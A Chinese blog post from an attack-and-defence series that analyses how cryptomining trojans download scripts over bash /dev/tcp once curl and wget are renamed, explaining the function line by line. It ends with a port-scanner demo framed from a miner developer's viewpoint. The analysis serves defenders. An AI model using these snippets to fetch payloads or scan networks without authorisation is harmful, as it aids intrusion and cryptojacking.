首页 > 系统相关 >【攻防技术系列】 linux没有curl / wget如何实现下载功能 ( 测试成功版 )

【攻防技术系列】 linux没有curl / wget如何实现下载功能 ( 测试成功版 )

时间:2024-04-02 11:57:15浏览次数:33  
标签:shell read linux var wget curl port 下载 挖矿

最近在分析挖矿木马,发现挖矿木马在入侵后都会对系统自带的部分命令进行替换或劫持。最常见的就是将 wget 和 curl 命令重命名。在多个挖矿木马同时竞争的情况下,没有 wget 和 curl 该如何远程下载挖矿脚本呢?

直接看挖矿脚本是如何实现的。这里面涵盖了很多知识点,非常值得学习!

function DOWNLOAD() {
  read proto server path <<< "${1//"/"/ }"
  DOC=/${path// //}
  HOST=${server//:*}
  PORT=${server//*:}
  [[ x"${HOST}" == x"${PORT}" ]] && PORT=80
  exec 3<>/dev/tcp/${HOST}/$PORT
  echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3
  while IFS= read -r line ; do 
      [[ "$line" == $'\r' ]] && break
  done <&3
  nul='\0'
  while IFS= read -d '' -r x || { nul=""; [ -n "$x" ]; }; do 
      printf "%s$nul" "$x"
  done <&3
  exec 3>&-
}

为更好分析是如何实现下载的,我们用 bash -x 来执行脚本打印中间过程。这段shell脚本只是把远程服务器上的文件内容输出到屏幕,如果要写入文件可以用重定向符追加到文件。


read 读取第一个参数 url 解析赋值得到 pathserverport

然后判断 host port 的值是否相等。因为请求的 url 中可能不会带有端口号,此时匹配值就是相同的,该条件为真时就默认 port 80 端口。

有人会提问说:要按照上面的代码要请求是 https也默认80端口不就报错了吗?

是的,这样只能实现最简单的 http 的请求,https 涉及到证书密钥的传输,实现起来过于复杂。在极端场景下,能实现 http 下载已经可以了。

为什么我上图中 url 参数用的 https 为何也请求成功了?

因为我博客同时允许了 httphttps 共存,实际上面请求还是用的 http 协议(我也是后面才发现的),如果没有允许 http 协议这里就会报错。

[[ x"${HOST}" == x"${PORT}" ]] 为什么这个判断前面都要加个x呢?

示例:

if [ "x${var}" == "x" ]
if [ x"$DPVS_TYPE" == x"SNAT" ]

目的:防止出现语法错误。

因为如果不写 x,只用 if [ "${var} == "0" ] 来判断 ${var} 的值; 当 ${var} 为空或未设置时,语句被解释为 if [ == "0" ],出现语法错误。加上 x 后,当 ${var} 为空或未设置时,解释为 if [ "x" == "x" ] ,依然正确。

所以:if [ "x${var}" == "x" ] 整句的意思是判断 ${var} 是否为空。

解释下 exec 3<>/dev/tcp/${HOST}/$PORT 的含义。

看到 /dev/tcp/${HOST}/$PORT 的第一反应就是想到用 bash 反弹 shell,不知道做安全的小伙伴是不是这种感觉。

在 Bash Shell 中打开或关闭 TCP/UDP 套接字

可以使用 bash shell 中的以下语法打开 TCP/UDP 套接字。
$ exec ${file-descriptor} </dev/${protocol}/${host}/${port}

"文件描述符" 是与每个套接字相关联的唯一的非负整数。文件描述符0,1和2分别保留给 stdin,stdout 和 stderr。因此必须指定3或更高(以未使用者为准)作为文件描述符。

"<>"意味着套接字对于读写都是打开的,根据需要,可以打开只读(<)或只写(>)的套接字。"协议"字段可以是 tcp 或 udp

打开后,可以使用以下语法关闭读/写套接字。

$ exec ${file-descriptor} <& –  //关闭输入连接
$ exec ${file-descriptor}>& – //关闭输出连接

其中 echo 使用了 e n 两个参数:


-e:开启转义
-n:默认echo会在最后输出最后加上一个\n换行,使用了该参数后就不会自动加上换行

因为在标准 http 协议中headerbody是用 \r\n\r\n 分隔开的。

  while IFS= read -r line ; do 
      [[ "$line" == $'\r' ]] && break
  done <&3

-r 屏蔽 \,如果没有该选项,则 \ 作为一个转义字符,有的话 \ 就是个正常的字符了。

这里就是按行读取 header 部分,匹配到 \r 就停止读取了。

shell – IFS 分隔符,IFS 是 internal field separator 的缩写,shell 的特殊环境变量。ksh 根据 IFS 存储的值,可以是空格、tab、换行符或者其他自定义符号,来解析输入和输出的变量值。

  nul='\0'
  while IFS= read -d '' -r x || { nul=""; [ -n "$x" ]; }; do 
      printf "%s$nul" "$x"
  done <&3
  exec 3>&-

read -d 后面跟一个标志符,其实只有其后的第一个字符有用,作为结束的标志。

这里就是读取 body 部分。exec 3>&- 关闭输出 fd3

短短几行 shell 代码就实现了 linux 的下载功能。并且这里下载需要将结果追加到文件。

下载文件并解压成功

举一反三:

既然在没有 curl 和 wget 的情况下用 shell 实现了下载,那么同样可以借此实现其他功能。

思考一个场景,如果我是挖矿木马的开发者,在内网的情况下没法下载扫描工具的源码(如 masscan)进行编译时候可以用同样的方式来扫描内网呢?

下面是我的思路,一个简单的 demo

#!/bin/bash

host=$1
port_first=1
port_last=65535
for ((port=$port_first; port<=$port_last; port++))
do
  $(echo >/dev/tcp/$host/$port) >/dev/null 2>&1 && echo "$port open"
done

本文作者:Zgao
原文地址:https://zgao.top/linux在没有curl和wget的情况下如何用shell实现下载功能/

标签:shell,read,linux,var,wget,curl,port,下载,挖矿
From: https://www.cnblogs.com/o-O-oO/p/18110269

相关文章

  • linux中新建、删除、赋权限文件
    新建文件(非目录)touch新建一个空文件,如果文件已存在,则只更新其访问时间和修改时间。使用echo命令,并通过重定向将输出内容写入到一个新文件中,这样可以创建一个空文件,如果文件已存在则会覆盖之前内容。使用vi文本编辑器可以打开文件进行编辑,如果文件不存在则会新建新建的文......
  • Linux研究(6):Linux 硬链接和软连接-详解
    导言:当涉及到Linux文件系统中的链接时,有两种常见类型:硬链接(HardLink)和软链接(SymbolicLink,也称为符号链接或软连接)。它们用于在文件之间创建关联,提供了一些非常有用的功能。下面是对硬链接和软链接的详细解释以及一个实验样例。1.硬链接(HardLink)硬链接是通过文件系统......
  • Linux enable命令教程:启动或关闭shell内建指令(附实例详解和注意事项)
    Linuxenable命令介绍enable是Linux系统中的内建命令,用于启动或关闭shell内建指令。如果执行的文件名称与shell内建指令相同,可以使用enable-n来关闭shell内建指令。如果不加-n参数,enable可以重新启动已关闭的指令。Linuxenable命令适用的Linux版本enable命令在大多数Li......
  • Linux ntsysv命令教程:如何配置运行级别服务(附案例详解和注意事项)
    Linuxntsysv命令介绍ntsysv(NetworkSysV)是一个命令行应用程序,它提供了一个简单的文本用户界面来配置在选定的运行级别中要启动的服务。这个工具显示了可用服务的列表(来自/etc/rc.d/init.d/目录的服务)以及它们的当前状态和描述。Linuxntsysv命令适用的Linux版本ntsysv命......
  • 【Python BUG】ImportError: /usr/lib/x86_64-linux-gnu/libstdc++.so.6: version `CX
    报错ImportError:/usr/lib/x86_64-linux-gnu/libstdc++.so.6:version`CXXABI_1.3.9‘notfound背景开发的一个python预测程序(算法分析+应用服务),在原本的linux服务器下配置了开发环境,打包后在另一台凝思服务器解压,发现报错。应该是linux系统之间存在差异,动态库缺失......
  • 在Linux中,有哪些故障排查和诊断工具?
    在Linux中,有多种故障排查和诊断工具可以帮助管理员和开发者快速定位和解决系统或应用程序中的问题。以下是一些常用的故障排查和诊断工具:dmesg命令:dmesg是一个用于显示内核控制的各种消息的工具,包括硬件状态、驱动加载和系统错误等。通过查看这些消息,管理员可以了解系统启动......
  • 在Linux中,有哪些备份和恢复工具?
    在Linux环境中,备份和恢复工具众多,以下是几种常用的备份和恢复工具,以及它们的主要特点和用途:rsyncrsync是一款强大的文件同步和备份工具,它通过仅复制自上次备份以来发生变化的部分来实现增量备份,这大大减少了备份所需时间和存储空间。rsync可通过本地或网络进行数据同步,支持SS......
  • 在Linux中,有哪些安全审计工具?
    在Linux中,有多种安全审计工具可供系统管理员和技术人员使用,这些工具主要用于检测潜在的安全漏洞、追踪系统行为、实施策略合规性检查以及监控系统安全性。以下是一些主要的安全审计工具:Lynis:Lynis是一款开源的安全审计工具,适用于各种类Unix系统,包括Linux、macOS和BSD等。它可......
  • 在Linux中,有哪些性能调优工具?
    在Linux中,有多种性能调优工具可以帮助管理员和开发者分析和优化系统的性能。以下是一些常用的性能调优工具:top命令:top是最常用的查看系统负载的工具,提供了一个不断更新的进程和性能的仪表板。可以查看内存使用量、负载平均值以及哪些进程正在使用最多的资源等信息。vmsta......
  • 在Linux中,有过哪些网络监控工具?
    在Linux中,网络监控工具主要用于系统管理员检测网络性能、识别瓶颈、跟踪带宽使用情况、排查网络故障以及实现网络流量分析。以下是一些流行的Linux网络监控工具:Nagios/NagiosXINagios是一款经典的开源网络监控系统,用于监控网络服务、主机状态、系统指标以及网络流量。它支......